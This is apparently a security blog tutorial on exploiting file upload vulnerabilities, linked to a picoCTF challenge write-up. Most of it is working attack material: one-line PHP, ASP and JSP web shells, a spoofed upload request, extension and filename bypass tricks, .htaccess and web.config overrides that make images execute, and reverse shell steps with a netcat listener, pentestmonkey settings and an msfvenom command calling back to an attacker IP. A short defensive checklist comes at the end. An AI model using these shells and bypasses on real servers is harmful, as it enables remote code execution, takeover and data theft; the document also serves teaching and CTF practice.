December 8, 2025

File Upload Exploitation

Complete guide to file upload vulnerabilities, exploitation techniques, bypass methods, web shells, and defensive strategies. Learn through practical picoCTF challenge and real-world scenarios.

Upload exploitation

Turn a file upload into code execution

Uploading a script in the server's language (web shell or reverse shell) is the shortest path from a “harmless” file input to owning the back-end. Once the file is reachable, you can interact with it to execute commands, pivot, and escalate.

Pick a payload

Match the framework, keep extensions/mime believable.

Plant + reach

Upload, learn the storage path, and browse to it immediately.

Interact safely

Use controlled commands first; keep listeners ready for shells.

What are file upload vulnerabilities?

File upload vulnerabilities occur when a web application allows users to upload files without properly checking what's being uploaded. These seemingly harmless features, like profile picture uploads or document submissions, can become critical security risks.

The danger is simple: if you can upload a malicious script to a server and make the server execute it, you've gained remote code execution. At that point, you can read files, modify data, or take complete control of the system.

See it in action: The Trickster challenge

Want to see this vulnerability exploited step-by-step? Check out our picoCTF 2024 Trickster writeup, where we bypass a PNG-only file upload by:

  • Creating a polyglot file that looks like a PNG but contains PHP code
  • Using a double extension (filename.png.php) to bypass validation
  • Uploading phpbash, a web-based shell interface
  • Gaining full command execution to read the flag

This practical example demonstrates exactly how these vulnerabilities work in the wild. Now let's understand the theory behind it.

How dangerous is this?

The severity depends on what the attacker can upload and what the server does with it:

Critical Risk

Remote Code Execution: If the server executes uploaded files (like .php, .jsp, or .aspx files), attackers can run commands, steal data, and take complete control of the server.

High Risk

File System Manipulation: Poor filename validation can let attackers overwrite critical files using path traversal (../../config.php) or trigger denial of service by filling disk space.

Medium Risk

Client-Side Attacks: Even without code execution, uploading HTML or SVG files with JavaScript can enable stored cross-site scripting (XSS) attacks against other users.

Why do these vulnerabilities exist?

Most developers know they need to validate uploads, but implementing it correctly is tricky. Common mistakes include:

  • Trusting the client: Relying on the Content-Type header, which attackers control completely
  • Incomplete blacklists: Blocking .php but forgetting .php5, .phtml, or other variants
  • Only checking file extensions: Not validating the actual file content or "magic bytes"
  • Configuration inconsistencies: Different validation rules across servers behind a load balancer

Understanding how servers process files

To exploit upload vulnerabilities, you need to understand what happens when someone requests your uploaded file. Servers handle files differently based on their extension:

Static Files

Images, CSS, JavaScript, HTML

The server sends the file directly to your browser without processing it. This is safe. The file can't execute on the server.

Server Scripts

PHP, JSP, ASP.NET, Python

The server executes the code in these files and returns the output. This is where the danger lies. If you can upload a script, you can run commands.

Misconfigured

Missing handlers or wrong mapping

If the server doesn't know how to handle a file type, it might return the raw source code (potentially leaking secrets) or throw an error.

Exploiting unrestricted file uploads

If a website allows you to upload server-side scripts (like PHP or JSP) and the server executes them, you've hit the jackpot. Here's how to turn that into full system access.

What's a web shell?

A web shell is a script that lets you execute commands through HTTP requests. Instead of needing SSH access, you control the server through your browser. Here's the simplest possible example:

Minimal PHP Web Shell

<?php echo file_get_contents('/path/to/target/file'); ?>

Upload this as shell.php, navigate to it in your browser, and it displays the contents of any file on the server.

The exploitation workflow

Here's the step-by-step process for exploiting a file upload vulnerability:

Step 1

Test the filters

Try uploading different file types. What extensions are allowed? Does it check the Content-Type header? Does it examine the file contents?

Step 2

Choose your payload

Match the server's language (PHP for Apache/nginx, ASPX for IIS, JSP for Java servers). Start simple. You can always upgrade later.

Step 3

Find your file

After uploading, figure out where the file is stored. Common locations: /uploads/, /files/, /user-content/

Step 4

Execute and profit

Navigate to the uploaded file in your browser. If everything worked, your shell executes and you have remote code execution.

Option 1: Use a pre-built shell

Why write your own when security researchers have already built excellent web shells? phpbash is a popular choice. It gives you a terminal-like interface right in your browser. (This is the same tool used in the Trickster challenge!)

The SecLists repository also contains web shells for various languages and frameworks in /Web-Shells/.

Once uploaded, access it directly:

http://target-server.com/uploads/phpbash.php

You'll see a terminal interface where you can run commands like ls, cat, or pwd directly in the browser.

Option 2: Write your own one-liner

Sometimes you need something quick and simple. This one-line PHP shell lets you run any command through a URL parameter:

One-Line PHP Shell

<?php system($_REQUEST['cmd']); ?>

Save this as shell.php and upload it. Now you can execute commands by adding ?cmd=your_command to the URL:

Example Request

http://target-server.com/uploads/shell.php?cmd=id

What You'll See

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Pro tip: In your browser, press CTRL+U to view page source. This shows the raw command output without HTML formatting getting in the way.

Shells for other technologies

The concept is the same across platforms. Find a way to execute user input. Here are minimal shells for other common server technologies:

Classic ASP

<% eval request("cmd") %>

Java JSP

<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

Start with simple shells. If execution functions like system() are blocked, look for alternative methods or framework-specific exploits.

Bypassing upload restrictions

Most real-world applications have some validation in place. But these defenses are often weak or incomplete. Here's how to get around them.

1. Spoofing the Content-Type header

Many upload forms check the Content-Type header to verify file types. But this header is completely controlled by the client. You can set it to anything.

Using Burp Suite or your browser's developer tools, intercept the upload request and change Content-Type: application/x-php to Content-Type: image/jpeg. The server thinks it's an image, but it's actually PHP code.

Spoofed HTTP Request

POST /upload HTTP/1.1
Host: vulnerable-site.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

<?php system($_REQUEST['cmd']); ?>
------WebKitFormBoundary--

2. Bypassing extension blacklists

Some sites block dangerous extensions like .php. But there are many alternative extensions that PHP (and other languages) will still execute:

PHP alternatives to try:

.php3.php4.php5.phtml.phps.phar.phpt.pgif

Blacklists are inherently weak because attackers only need to find one allowed extension that still executes.

3. Exploiting execution-disabled directories

Smart servers disable PHP execution in upload folders. When you visit /uploads/shell.php, you just see the source code instead of executing it.

But try uploading to different directories using path traversal (../../../var/www/shell.php), or look for misconfigurations where different servers behind a load balancer have different execution policies.

4. Overriding server configuration

Servers decide what to execute based on configuration files. If you can upload a config file, you can change the rules. Apache uses .htaccess files, and IIS uses web.config.

Apache .htaccess example

# Tell Apache to treat .jpg files as PHP
AddType application/x-httpd-php .jpg

IIS web.config example

<!-- Map .txt files to ASP.NET handler -->
<system.webServer>
  <handlers>
    <add name="TxtHandler" path="*.txt" verb="*" type="System.Web.UI.PageHandlerFactory" />
  </handlers>
</system.webServer>

Upload the config file first, then upload your malicious file with a harmless extension. The server will execute it based on your custom rules.

5. Filename obfuscation tricks

Parsers often handle filenames inconsistently. Here are some tricks that can bypass validation:

  • Case variations:shell.pHp
  • Double extension:shell.php.jpg (like in Trickster!)
  • Trailing dot:shell.php.
  • Null byte injection:shell.php%00.jpg
  • URL encoding:shell%2Ephp
  • Nested extension:shell.p.phphp (becomes .php after stripping)

6. Creating polyglot files

Smart servers check the file content, not just the name. They look for "magic bytes" that identify file types. For example, JPEGs start with FF D8 FF.

A polyglot file is valid as multiple file types at once. You can create a file that's both a valid image AND valid PHP code. This is exactly what we did in the Trickster challenge! We prepended PNG magic bytes to PHP code, creating a file that passes image validation but executes as PHP.

7. Exploiting race conditions

Some applications upload files first and validate them afterward. There's a tiny window between upload and deletion where you can access the file. Upload your shell, then spam requests to execute it before validation kicks in and deletes it.

Getting a reverse shell

Web shells accessed through a browser can be clunky. A reverse shell gives you a proper command-line connection directly to the compromised server.

How reverse shells work

Instead of you connecting to the server, the server connects back to YOU. This bypasses many firewalls that block incoming connections but allow outgoing ones. Here's the process:

1

Start a listener on your machine (using netcat, for example)

2

Upload a reverse shell script configured with your IP and port

3

Trigger the script (by visiting its URL)

4

The server connects back to your listener, giving you a shell

Using pre-built reverse shells

The pentestmonkey PHP reverse shell is the gold standard. Download it, edit two lines to add your IP and port, then upload it.

Edit these lines in the script

$ip = '10.10.14.5';    // Your VPN/attack machine IP
$port = 4444;          // Port you'll listen on

Then on your machine, start a listener:

Start netcat listener

nc -lvnp 4444

Upload the shell, navigate to its URL, and you'll see the connection in your terminal:

Successful connection

listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.234] 52846
Linux webserver 5.4.0-42-generic #46-Ubuntu SMP x86_64 GNU/Linux
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Generating custom payloads with msfvenom

msfvenom is part of Metasploit and can generate reverse shell payloads in many formats. This is useful if you need to customize your shell or target a specific language/framework.

Generate a PHP payload

msfvenom -p php/reverse_php LHOST=10.10.14.5 LPORT=4444 -f raw > shell.php

Change the payload type with -p (like jsp/jsp_shell_reverse_tcp for Java) and the format with -f.

Troubleshooting when shells don't work

Sometimes your shell uploads successfully but doesn't execute or connect back. Common reasons include:

  • Outbound firewall rules

    The server can't make outgoing connections. Try using a common port like 80, 443, or 53.

  • Disabled functions

    PHP's system(), exec(), etc. might be blocked in php.ini. Try alternate execution methods.

  • Web application firewall (WAF)

    Your shell code contains known signatures. Obfuscate the payload or use encoding.

  • SELinux or AppArmor

    Security modules restrict what the web server can do. Web shells might work but reverse shells won't.

Other ways to exploit uploads

Even if you can't get code execution, file uploads can still be dangerous. Here are alternative exploitation methods:

Stored cross-site scripting (XSS)

Upload an HTML or SVG file containing JavaScript. When other users view the file (especially if it's served with the same origin as the main site), your script executes in their browser, potentially stealing cookies or session tokens.

XXE and XML attacks

Office documents (DOCX, XLSX) are actually ZIP files containing XML. Upload a specially crafted document with XML External Entity (XXE) payloads that can read local files when the server processes the document.

Path traversal for overwrites

If the server doesn't sanitize filenames, upload a file named ../../config.php to overwrite critical configuration files.

Using HTTP PUT

Some servers allow uploading files via HTTP PUT without any upload form. Check with an OPTIONS request first:

HTTP PUT request

PUT /uploads/shell.php HTTP/1.1
Host: vulnerable-site.com
Content-Length: 34

<?php system($_GET['cmd']); ?>

How to defend against upload attacks

If you're a developer, here's how to secure file upload functionality:

Use a whitelist, not a blacklist

Only allow specific extensions you need (like .jpg, .png). Never try to block all dangerous extensions.

Validate file contents, not just the name

Check magic bytes to verify the file is actually what it claims to be. Don't trust the Content-Type header or file extension.

Rename uploaded files

Generate random filenames to prevent path traversal and overwriting attacks. Never use user-supplied filenames directly.

Store uploads outside the web root

Don't save files in publicly accessible directories. Serve them through a script that validates access and sets proper headers.

Disable script execution in upload directories

Configure your web server to never execute scripts from upload folders, even if someone bypasses other defenses.

Use established libraries

Don't write your own upload validation from scratch. Use well-tested framework functions that handle edge cases properly.